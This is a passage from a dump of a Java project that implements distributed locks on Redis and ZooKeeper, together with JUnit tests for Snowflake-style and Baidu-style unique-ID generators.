锁过期时间，单位毫秒\n     * @param waitTime 等待时间，单位毫秒\n     * @return true-获取锁，false-为获得锁\n     * @throws InterruptedException \n     * @throws RuntimeException 操作锁失败，需要业务判断是否重试 \n     */\n    default boolean acquireOrWait(int ttl, int waitTime)\n        throws InterruptedException, RuntimeException {\n        while (!lock(ttl)) {\n            waitTime = waitTime - ttl / 2;\n            Thread.sleep(ttl / 2);\n            if (waitTime <= 0) {\n                logger.debug(MSG_LOCK_TIMEOUT, getName());\n                return false;\n            }\n        }\n        startHeartBeatThread();\n        return true;\n    }\n    \n    /**\n     * @方法名称 startHeartBeatThread\n     * @功能描述 <pre>续租心跳</pre>\n     */\n    void startHeartBeatThread();\n    \n    /**\n     * @方法名称 close\n     * @功能描述 <pre>释放锁</pre>\n     */\n    @Override\n    void close();\n    \n    /**\n     * @方法名称 release\n     * @功能描述 <pre>释放锁</pre>\n     */\n    default void release() {\n        close();\n    }\n    \n    /**\n     * 获取锁名\n     */\n    public String getName();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/standard/distributed/lock/RedisSharedLock.java",
    "content": "package com.myzmds.ecp.core.standard.distributed.lock;\n\nimport java.util.Collections;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.core.script.RedisScript;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.NamingThreadFactory;\n\n/**\n * @类名称 RedisSharedLock.java\n * @类描述 <pre>redis 分布式锁(redis是ap模式，无法保证强一致性: 集群可能造成多重获锁,Redissond红锁 RedissonRedLock一样存在极端情况重复取锁问题)</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年5月8日 下午8:09:15\n * @版本 1.3.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t庄梦蝶殇    2018年05月08日             \n *     1.1.0    庄梦蝶殇    2018年11月21日             Redis pipeline操作，一致性增强，精简代码 (pipeline不保证原子性)\n *     1.2.0    庄梦蝶殇    2019年01月16日             改用Lua脚本，保证原子性\n *     1.3.0    庄梦蝶殇    2019年12月13日             统一锁接口\n *     ----------------------------------------------\n * </pre>\n */\npublic class RedisSharedLock implements ISharedLock {\n    /**\n     * 加锁脚本\n     */\n    private static final String SCRIPT_LOCK = \"if redis.call('setnx', KEYS[1], ARGV[1]) == 1 then redis.call('pexpire', KEYS[1], ARGV[2]) return 1 else return 0 end\";\n    \n    /**\n     * 解锁脚本\n     */\n    private static final String SCRIPT_UNLOCK = \"if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end\";\n    \n    /**\n     * 加锁脚本sha1值\n     */\n    private static final String SCRIPT_LOCK_SHA1 = \"8525317db2b346fffb9050797aee5fa8b8231872\";\n    \n    /**\n     * 解锁脚本sha1值\n     */\n    private static final String SCRIPT_UNLOCK_SHA1 = \"e9f69f2beb755be68b5e456ee2ce9aadfbc4ebf4\";\n    \n    /**\n     * 成功标识\n     */\n    private static final Long SUCCESS = 1L;\n    \n    /**\n     * 警告消息:降级删锁\n     */\n    private static final String WARN_MSG_EVAL = \"Redis不支持EVAL命令，使用降级方式解锁：{}\";\n    \n    /**\n     * redis lock 前缀，方便redis key管理\n     */\n    private static final String LOCK_PREFIX = \"lock:\";\n    \n    @Autowired\n    private RedisTemplate<String, Object> redisTemplate;\n    \n    /**\n     * 心跳线程池\n     */\n    private ScheduledExecutorService scheduledpool;\n    \n    /**\n     * 锁名，即key值\n     */\n    public String lockKey;\n    \n    /**\n     * 锁过期时间，毫秒\n     */\n    public int ttl;\n    \n    public RedisSharedLock(String name) {\n        lockKey = getLockKey(name);\n    }\n    \n    public RedisSharedLock(RedisTemplate<String, Object> redisTemplate, String name) {\n        this(name);\n        this.redisTemplate = redisTemplate;\n    }\n    \n    @Override\n    public boolean lock(int ttl)\n        throws RuntimeException {\n        this.ttl = ttl;\n        // 锁不存在时：上锁并过期时间，最后跳出。\n        Long result = redisTemplate.execute(new RedisScript<Long>() {\n            @Override\n            public String getSha1() {\n                return SCRIPT_LOCK_SHA1;\n            }\n            \n            @Override\n            public Class<Long> getResultType() {\n                return Long.class;\n            }\n            \n            @Override\n            public String getScriptAsString() {\n                return SCRIPT_LOCK;\n            }\n            \n        }, Collections.singletonList(lockKey), \"1\", String.valueOf(ttl));\n        if (SUCCESS.equals(result)) {\n            return true;\n        }\n        return false;\n    }\n    \n    @Override\n    public void startHeartBeatThread() {\n        scheduledpool = new ScheduledThreadPoolExecutor(1, new NamingThreadFactory(Thread.currentThread().getName().concat(LOCK_HEART_BEAT), true));\n        scheduledpool.scheduleAtFixedRate(() -> {\n            redisTemplate.expire(lockKey, ttl, TimeUnit.MILLISECONDS);\n            logger.debug(MSG_RELET, Thread.currentThread().getName(), lockKey);\n        }, 0L, ttl / 3, TimeUnit.MILLISECONDS);\n        \n    }\n    \n    @Override\n    public void close() {\n        if (null != scheduledpool && redisTemplate.hasKey(lockKey)) {\n            try {\n                redisTemplate.execute(new RedisScript<Long>() {\n                    @Override\n                    public Class<Long> getResultType() {\n                        return Long.class;\n                    }\n                    \n                    @Override\n                    public String getScriptAsString() {\n                        return SCRIPT_UNLOCK;\n                    }\n                    \n                    @Override\n                    public String getSha1() {\n                        return SCRIPT_UNLOCK_SHA1;\n                    }\n                }, Collections.singletonList(lockKey), \"1\");\n            } catch (Exception e) {\n                logger.warn(WARN_MSG_EVAL, e.getMessage());\n                redisTemplate.delete(lockKey);\n            }\n        }\n    }\n    \n    /**\n     * @方法名称 getLockKey\n     * @功能描述 <pre>获取锁key</pre>\n     * @param name 锁名\n     * @return 锁key\n     */\n    public static String getLockKey(String name) {\n        return LOCK_PREFIX.concat(name);\n    }\n    \n    @Override\n    public String getName() {\n        return lockKey;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/standard/distributed/lock/ZkSharedLock.java",
    "content": "package com.myzmds.ecp.core.standard.distributed.lock;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\n\nimport org.apache.zookeeper.CreateMode;\nimport org.apache.zookeeper.KeeperException;\nimport org.apache.zookeeper.WatchedEvent;\nimport org.apache.zookeeper.Watcher;\nimport org.apache.zookeeper.Watcher.Event.EventType;\nimport org.apache.zookeeper.ZooDefs.Ids;\nimport org.apache.zookeeper.ZooKeeper;\nimport org.apache.zookeeper.data.Stat;\nimport org.springframework.util.Assert;\n\n/**\n * @类名称 ZkSharedLock.java\n * @类描述 <pre>zk分布式锁(有缺陷，原生zkclient监听处理不完善)：支持等待锁，竞争锁；天然自动续租/释放资源，轮训检测；CP模式，强一致性</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年12月16日 下午4:38:11\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年12月16日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class ZkSharedLock implements ISharedLock {\n    /**\n     * 锁在zk上的根路径/根节点\n     */\n    private final static String ROOT_PATH = \"/locks\";\n    \n    /**\n     * 最大重试次数\n     */\n    private static final Integer MAX_RETRY_COUNT = 10;\n    \n    /**\n     * zk客户端\n     */\n    private ZooKeeper client;\n    \n    /**\n     * zk地址\n     */\n    private String connectIp;\n    \n    /**\n     * 计数器\n     */\n    private CountDownLatch latch;\n    \n    /**\n     * 锁名\n     */\n    public String name;\n    \n    /**\n     * 锁在zk上的完整路径\n     */\n    public String ourPath;\n    \n    /**\n     * 锁根路径\n     */\n    public String basePath;\n    \n    public ZkSharedLock(String connectIp, String name) {\n        Assert.notNull(connectIp, \"zk地址不能为空！\");\n        this.name = name;\n        this.connectIp = connectIp;\n        init();\n    }\n    \n    /**\n     * @方法名称 init\n     * @功能描述 <pre>初始化</pre>\n     */\n    public void init() {\n        initClient();\n        this.basePath = ROOT_PATH.concat(ZkUtil.PATH_SPILT).concat(name);\n        try {\n            if (null == client.exists(ROOT_PATH, false)) {\n                client.create(ROOT_PATH, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT);\n            }\n            client.close();\n        } catch (Exception e) {\n            // 忽略 初始化根路径错误\n        }\n    }\n    \n    @Override\n    public boolean lock(int ttl) {\n        initClient();\n        List<String> children = getSortLockNode();\n        if (null == children) {\n            return false;\n        }\n        // 当前有序节点名(锁名)\n        String sequenceNodeName = ourPath.substring(basePath.length() + 1);\n        // 计算刚才客户端创建的顺序节点在locker的所有子节点中排序位置，如果是排序为0，则表示获取到了锁\n        int ourIndex = children.indexOf(sequenceNodeName);\n        // 没有找到之前创建的[临时]顺序节点，这表示可能由于网络闪断而导致 Zookeeper认为连接断开而删除了我们创建的节点，证明获取锁失败\n        if (ourIndex < 0) {\n            return false;\n        }\n        // 检验是否未最小节点，是则获取锁\n        if (ourIndex == 0) {\n            // 获取锁成功\n            logger.debug(MSG_LOCK, sequenceNodeName);\n            return true;\n        }\n        return false;\n    }\n    \n    @Override\n    public boolean acquireOrWait(int ttl, int waitTime)\n        throws InterruptedException {\n        initClient();\n        /**\n         * 1、获取锁的所有竞争者列表\n         */\n        List<String> children = getSortLockNode();\n        if (null == children) {\n            return false;\n        }\n        boolean haveTheLock = false;\n        // 重置计数器\n        latch = new CountDownLatch(1);\n        // 当前有序节点名(锁名)\n        String sequenceNodeName = ourPath.substring(basePath.length() + 1);\n        // 起始时间\n        long startMillis = System.currentTimeMillis();\n        // 等待时间\n        while (!haveTheLock) {\n            // 重新获取列表\n            children = getSortLockNode();\n            /**\n             * 2、检验是否未最小节点，是则获取锁\n             */\n            // 计算刚才客户端创建的顺序节点在locker的所有子节点中排序位置，如果是排序为0，则表示获取到了锁\n            int ourIndex = children.indexOf(sequenceNodeName);\n            // 没有找到之前创建的[临时]顺序节点，这表示可能由于网络闪断而导致 Zookeeper认为连接断开而删除了我们创建的节点，证明获取锁失败\n            if (ourIndex < 0) {\n                return false;\n            }\n            // 检验是否未最小节点，是则获取锁\n            if (ourIndex == 0) {\n                // 获取锁成功\n                logger.debug(MSG_LOCK, sequenceNodeName);\n                return true;\n            }\n            \n            /**\n             * 3、订阅次小节点的监听，进行等待\n             */\n            // 获取次小节点名\n            String pathToWatch = children.get(ourIndex - 1);\n            // 如果次小的节点被删除了，则表示当前客户端的节点应该是最小的了，所以使用CountDownLatch来实现等待\n            // 上一有序节点名(上个锁名)\n            String prevNodePath = basePath.concat(ZkUtil.PATH_SPILT).concat(pathToWatch);\n            \n            // 查询前一个目录是否存在，并且注册目录事件监听器，监听一次事件后即删除\n            try {\n                Stat state = client.exists(prevNodePath, true);\n                if (null == state) {\n                    continue;\n                }\n                // 发生超时需要删除节点，防止无限等待造成线程垃圾。\n                waitTime -= (System.currentTimeMillis() - startMillis);\n                startMillis = System.currentTimeMillis();\n                if (waitTime <= 0) {\n                    logger.debug(MSG_LOCK_TIMEOUT, sequenceNodeName);\n                    // 等待超时，删除我们的节点\n                    client.close();\n                    return false;\n                }\n                // 等待\n                latch.await(waitTime, TimeUnit.MICROSECONDS);\n            } catch (KeeperException | InterruptedException e) {\n                // ignore\n            }\n        }\n        return haveTheLock;\n    }\n    \n    @Override\n    public void startHeartBeatThread() {\n        \n    }\n    \n    @Override\n    public void close() {\n        if (null == ourPath) {\n            // 空锁时，直接返回\n            return;\n        }\n        try {\n            client.delete(ourPath, -1);\n            client.close();\n        } catch (Exception e) {\n        }\n    }\n    \n    /**\n     * @方法名称 getSortLockNode\n     * @功能描述 <pre>获取本锁路径下的所有子节点，并按小->大排序</pre>\n     * @return 当前锁的所有竞争者列表\n     */\n    private List<String> getSortLockNode() {\n        /**\n         * 1、zk跟路径检测\n         */\n        // 锁路径\n        String path = basePath.concat(ZkUtil.PATH_SPILT).concat(name);\n        try {\n            if (null == client.exists(basePath, false)) {\n                client.create(basePath, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT);\n            }\n        } catch (Exception e) {\n            // 锁根路径\n        }\n        \n        /**\n         * 2、创建 当前锁名 的临时节点(在[basePath持久节点]下创建客户端要获取锁的[临时]顺序节点)\n         */\n        // 是否需要重试\n        boolean isDone = false;\n        // 重试次数\n        int retryCount = 0;\n        // 网络闪断需要重试一试\n        while (!isDone) {\n            isDone = true;\n            try {\n                ourPath = client.create(path, new byte[0], Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL);\n                /**\n                 * 3、获取本锁路径下的所有子节点，并按小->大排序\n                 */\n                return ZkUtil.getSortedChildren(client, basePath, name);\n            } catch (Exception e) {\n                if (retryCount++ < MAX_RETRY_COUNT) {\n                    isDone = false;\n                }\n            }\n        }\n        return null == ourPath ? null : new ArrayList<String>();\n    }\n    \n    private void initClient() {\n        try {\n            client = new ZooKeeper(connectIp, 300000, new Watcher() {\n                @Override\n                public void process(WatchedEvent event) {\n                    if (event.getType().equals(EventType.NodeDeleted) && null != latch) {\n                        latch.countDown();\n                    }\n                }\n            });\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n    \n    @Override\n    public String getName() {\n        return ourPath;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/standard/distributed/lock/ZkUtil.java",
    "content": "package com.myzmds.ecp.core.standard.distributed.lock;\n\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\n\nimport org.apache.zookeeper.KeeperException;\nimport org.apache.zookeeper.ZooKeeper;\n\n/**\n * @类名称 ZkUtils.java\n * @类描述 <pre>zk辅助类</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年3月27日 下午2:54:29\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年3月27日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class ZkUtil {\n    /**\n     * zk节点分隔符\n     */\n    public final static String PATH_SPILT = \"/\";\n    \n    /**\n     * 计数器根目录\n     */\n    public static final String COUNT_PATH = \"/count\";\n    \n    /**\n     * @方法名称 getSortedChildren\n     * @功能描述 <pre>获取子节点列表，并由小到大排序</pre>\n     * @param client zk客户端对象\n     * @param basePath 顺序节点根目录\n     * @param lockName 锁名\n     * @return 子节点列表\n     */\n    public static List<String> getSortedChildren(ZooKeeper client, String basePath, final String lockName) {\n        try {\n            if (null == client.exists(basePath, false)) {\n                return null;\n            }\n            List<String> children = client.getChildren(basePath, false);\n            Collections.sort(children, new Comparator<String>() {\n                @Override\n                public int compare(String lhs, String rhs) {\n                    return getLockNodeNumber(lhs, lockName).compareTo(getLockNodeNumber(rhs, lockName));\n                }\n            });\n            return children;\n        } catch (InterruptedException | KeeperException e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    /**\n     * @方法名称 getLockNodeNumber\n     * @功能描述 <pre>获取节点版本标识</pre>\n     * @param str 节点完整名(含版本标识)\n     * @param lockName 节点名\n     * @return 节点版本标识\n     */\n    public static String getLockNodeNumber(String str, String lockName) {\n        int index = str.lastIndexOf(lockName);\n        if (index >= 0) {\n            index += lockName.length();\n            return index <= str.length() ? str.substring(index) : \"\";\n        }\n        return str;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/ParseUidTest.java",
    "content": "package com.myzmds.ecp.core.uid;\n\nimport java.net.NetworkInterface;\nimport java.net.SocketException;\nimport java.util.Enumeration;\n\nimport com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator;\nimport com.myzmds.ecp.core.uid.extend.strategy.TwitterSnowflakeStrategy;\nimport com.myzmds.ecp.core.uid.twitter.SnowflakeIdWorker;\nimport com.myzmds.ecp.core.uid.worker.SimpleWorkerIdAssigner;\n\npublic class ParseUidTest {\n    public static void testParseUid() {\n        System.out.println(new SnowflakeIdWorker(10, 12).nextId());\n        System.out.println(new SnowflakeIdWorker(10, 12).parseUID(\"91543914239533056\"));\n        System.out.println(new SnowflakeIdWorker(10, 12).parseUID(91543914239533056L));\n        \n        // 百度\n        DefaultUidGenerator uidGenerator = new DefaultUidGenerator();\n        uidGenerator.setWorkerIdAssigner(new SimpleWorkerIdAssigner());\n        uidGenerator.setSeqBits(13);\n        uidGenerator.setTimeBits(29);\n        uidGenerator.setWorkerBits(21);\n        uidGenerator.setEpochStr(\"2017-12-25\");\n        try {\n            uidGenerator.afterPropertiesSet();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        System.out.println(uidGenerator.getUID());\n        System.out.println(uidGenerator.parseUID(374964732433530880L));\n    }\n\n    public static void testBuildRule() {\n        Long did = TwitterSnowflakeStrategy.getMachineNum(31L);\n        System.out.println(did);\n        System.out.println(TwitterSnowflakeStrategy.getProcessNum(did, 31L));\n        System.out.println(getMachineNum(31L));\n    }\n    \n    public static void main(String[] args) {\n        testBuildRule();\n        try {\n//            testZkNode();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n    \n    private static long getMachineNum(long maxWorkerId) {\n        StringBuilder sb = new StringBuilder();\n        Enumeration<NetworkInterface> e = null;\n        try {\n            e = NetworkInterface.getNetworkInterfaces();\n        } catch (SocketException e1) {\n            e1.printStackTrace();\n        }\n        while (e.hasMoreElements()) {\n            NetworkInterface ni = e.nextElement();\n            sb.append(ni.toString());\n        }\n        return (sb.toString().hashCode() & 0xffff) % (maxWorkerId + 1);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/baidu/CachedUidGeneratorTest.java",
    "content": "package com.myzmds.ecp.core.uid.baidu;\n\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.util.StringUtils;\n\nimport com.myzmds.ecp.core.uid.baidu.UidGenerator;\nimport com.myzmds.ecp.core.uid.baidu.impl.CachedUidGenerator;\n\nimport javax.annotation.Resource;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentSkipListSet;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * Test for {@link CachedUidGenerator}\n * \n * @author yutianbao\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"file:src/test/resources/uid/cached-uid-baidu.xml\" })\npublic class CachedUidGeneratorTest {\n    private static final int SIZE = 7000000; // 700w\n    private static final boolean VERBOSE = false;\n    private static final int THREADS = Runtime.getRuntime().availableProcessors() << 1;\n\n    @Resource\n    private UidGenerator uidGenerator;\n\n    /**\n     * Test for serially generate\n     * \n     * @throws IOException\n     */\n    @Test\n    public void testSerialGenerate() throws IOException {\n        // Generate UID serially\n        Set<Long> uidSet = new HashSet<>(SIZE);\n        for (int i = 0; i < SIZE; i++) {\n            doGenerate(uidSet, i);\n        }\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n\n    /**\n     * Test for parallel generate\n     * \n     * @throws InterruptedException\n     * @throws IOException\n     */\n    @Test\n    public void testParallelGenerate() throws InterruptedException, IOException {\n        final AtomicInteger control = new AtomicInteger(-1);\n        final Set<Long> uidSet = new ConcurrentSkipListSet<>();\n        \n        // Initialize threads\n        List<Thread> threadList = new ArrayList<>(THREADS);\n        for (int i = 0; i < THREADS; i++) {\n            Thread thread = new Thread() {\n                @Override\n                public void run() {\n                    workerRun(uidSet, control);\n                }\n            };\n            thread.setName(\"UID-generator-\" + i);\n            \n            threadList.add(thread);\n            thread.start();\n        }\n\n        // Wait for worker done\n        for (Thread thread : threadList) {\n            thread.join();\n        }\n\n        // Check generate 700w times\n        Assert.assertEquals(SIZE, control.get());\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n    public int updateAndGet(AtomicInteger control) {\n        int prev, next;\n        do {\n            prev = control.get();\n            next = prev == SIZE ? SIZE : prev + 1;\n        } while (!control.compareAndSet(prev, next));\n        return next;\n    }\n\n    /**\n     * Woker run\n     */\n    private void workerRun(Set<Long> uidSet, AtomicInteger control) {\n        for (;;) {\n            int myPosition = updateAndGet(control);\n            if (myPosition == SIZE) {\n                return;\n            }\n\n            doGenerate(uidSet, myPosition);\n        }\n    }\n\n    /**\n     * Do generating\n     */\n    private void doGenerate(Set<Long> uidSet, int index) {\n        long uid = uidGenerator.getUID();\n        String parsedInfo = uidGenerator.parseUID(uid);\n        boolean existed = !uidSet.add(uid);\n        if (existed) {\n            System.out.println(\"Found duplicate UID \" + uid);\n        }\n\n        // Check UID is positive, and can be parsed\n        Assert.assertTrue(uid > 0L);\n        Assert.assertTrue(!StringUtils.isEmpty(parsedInfo));\n\n        if (VERBOSE) {\n            System.out.println(Thread.currentThread().getName() + \" No.\" + index + \" >>> \" + parsedInfo);\n        }\n    }\n\n    /**\n     * Check UIDs are all unique\n     */\n    private void checkUniqueID(Set<Long> uidSet) throws IOException {\n        System.out.println(uidSet.size());\n        Assert.assertEquals(SIZE, uidSet.size());\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/baidu/DefaultUidGeneratorTest.java",
    "content": "package com.myzmds.ecp.core.uid.baidu;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentSkipListSet;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport javax.annotation.Resource;\n\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\nimport org.springframework.util.StringUtils;\n\nimport com.myzmds.ecp.core.uid.baidu.impl.DefaultUidGenerator;\n\n/**\n * Test for {@link DefaultUidGenerator}\n * \n * @author yutianbao\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"file:src/test/resources/uid/default-uid-baidu.xml\" })\npublic class DefaultUidGeneratorTest {\n    private static final int SIZE = 100000; // 10w\n    private static final boolean VERBOSE = true;\n    private static final int THREADS = Runtime.getRuntime().availableProcessors() << 1;\n\n    @Resource\n    private UidGenerator uidGenerator;\n\n    /**\n     * Test for serially generate\n     */\n    @Test\n    public void testSerialGenerate() {\n        // Generate UID serially\n        Set<Long> uidSet = new HashSet<>(SIZE);\n        for (int i = 0; i < SIZE; i++) {\n            doGenerate(uidSet, i);\n        }\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n\n    /**\n     * Test for parallel generate\n     * \n     * @throws InterruptedException\n     */\n    @Test\n    public void testParallelGenerate() throws InterruptedException {\n        final AtomicInteger control = new AtomicInteger(-1);\n        final Set<Long> uidSet = new ConcurrentSkipListSet<>();\n        \n        // Initialize threads\n        List<Thread> threadList = new ArrayList<>(THREADS);\n        for (int i = 0; i < THREADS; i++) {\n            Thread thread = new Thread(new Runnable() {\n                @Override\n                public void run() {\n                    workerRun(uidSet, control);\n                }\n            });\n            thread.setName(\"UID-generator-\" + i);\n            \n            threadList.add(thread);\n            thread.start();\n        }\n        \n        // Wait for worker done\n        for (Thread thread : threadList) {\n            thread.join();\n        }\n\n        // Check generate 10w times\n        Assert.assertEquals(SIZE, control.get());\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n    \n    public int updateAndGet(AtomicInteger control) {\n        int prev, next;\n        do {\n            prev = control.get();\n            next = prev == SIZE ? SIZE : prev + 1;\n        } while (!control.compareAndSet(prev, next));\n        return next;\n    }\n\n    /**\n     * Worker run\n     */\n    private void workerRun(Set<Long> uidSet, AtomicInteger control) {\n        for (;;) {\n            int myPosition = updateAndGet(control);\n            if (myPosition == SIZE) {\n                return;\n            }\n\n            doGenerate(uidSet, myPosition);\n        }\n    }\n\n    /**\n     * Do generating\n     */\n    private void doGenerate(Set<Long> uidSet, int index) {\n        long uid = uidGenerator.getUID();\n        String parsedInfo = uidGenerator.parseUID(uid);\n        uidSet.add(uid);\n\n        // Check UID is positive, and can be parsed\n        Assert.assertTrue(uid > 0L);\n        Assert.assertTrue(!StringUtils.isEmpty(parsedInfo));\n\n        if (VERBOSE) {\n            System.out.println(Thread.currentThread().getName() + \" No.\" + index + \" >>> \" + parsedInfo);\n        }\n    }\n\n    /**\n     * Check UIDs are all unique\n     */\n    private void checkUniqueID(Set<Long> uidSet) {\n        System.out.println(uidSet.size());\n        Assert.assertEquals(SIZE, uidSet.size());\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/baidu/SimpleUidTest.java",
    "content": "package com.myzmds.ecp.core.uid.baidu;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport com.myzmds.ecp.core.uid.UidContext;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"classpath:uid/simple-uid-baidu.xml\"})\npublic class SimpleUidTest {\n    @Autowired\n    private UidContext context;\n\n    @Test\n    public void test() {\n        System.out.println(context.getUID());\n        System.out.println(\"test:\" +context.getUID(\"test\"));\n        System.out.println(context.getUID(\"qwer\"));\n        System.out.println(\"test:\" +context.getUID(\"test\"));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/baidu/UidTest.java",
    "content": "package com.myzmds.ecp.core.uid.baidu;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"classpath:uid/zk-uid-baidu.xml\"})\npublic class UidTest {\n    @Autowired\n    private UidGenerator uidOne;\n\n    @Autowired\n    private UidGenerator uidTwo;\n    \n    @Test\n    public void test() {\n        // Generate UID\n        long uid = uidOne.getUID();\n        System.out.println(\"one:\" + uid);\n        System.out.println(\"one:\" + uidOne.getUID());\n        // Parse UID into [Timestamp, WorkerId, Sequence]\n        // {\"UID\":\"180363646902239241\",\"parsed\":{ \"timestamp\":\"2017-01-19 12:15:46\", \"workerId\":\"4\", \"sequence\":\"9\" }}\n        System.out.println(\"one:\" + uidOne.parseUID(uid));\n        \n        Runnable threadOne= new  Runnable() {\n            @Override\n            public void run() {\n                for (int i = 0; i < 10; i++) {\n                    System.out.println(\"one:\" + uidOne.getUID());\n                }\n            }\n        };\n\n        Runnable threadTwo= new  Runnable() {\n            @Override\n            public void run() {\n                for (int i = 0; i < 10; i++) {\n                    System.out.println(\"two:\" + uidTwo.getUID());\n                }\n            }\n        };\n        threadOne.run();\n        threadTwo.run();\n        \n        uid = uidTwo.getUID();\n        System.out.println(\"two:\" + uid);\n        System.out.println(\"two:\" + uidTwo.getUID());\n        // Parse UID into [Timestamp, WorkerId, Sequence]\n        // {\"UID\":\"180363646902239241\",\"parsed\":{ \"timestamp\":\"2017-01-19 12:15:46\", \"workerId\":\"4\", \"sequence\":\"9\" }}\n        System.out.println(\"two:\" + uidTwo.parseUID(uid));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/idleaf/ColumnMaxValueIncrementerTest.java",
    "content": "package com.myzmds.ecp.core.uid.idleaf;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.jdbc.support.incrementer.DataFieldMaxValueIncrementer;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\n/**\n * @author sunff\n * \n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"file:src/test/resources/idleaf/app-springId.xml\" })\npublic class ColumnMaxValueIncrementerTest {\n\n    @Autowired\n    @Qualifier(\"productNoIncrementer\")\n    private DataFieldMaxValueIncrementer incrementer;\n\n    @Test\n    public void test() {\n        int i = 0;\n        while (i < 10) {\n            System.out.println(\"long id=\" + incrementer.nextLongValue());\n            System.out.println(\"int id=\" + incrementer.nextIntValue());\n            System.out.println(\"string id=\" + incrementer.nextStringValue());\n            i++;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/test/java/com/myzmds/ecp/core/uid/idleaf/LeafSegmentServiceTest.java",
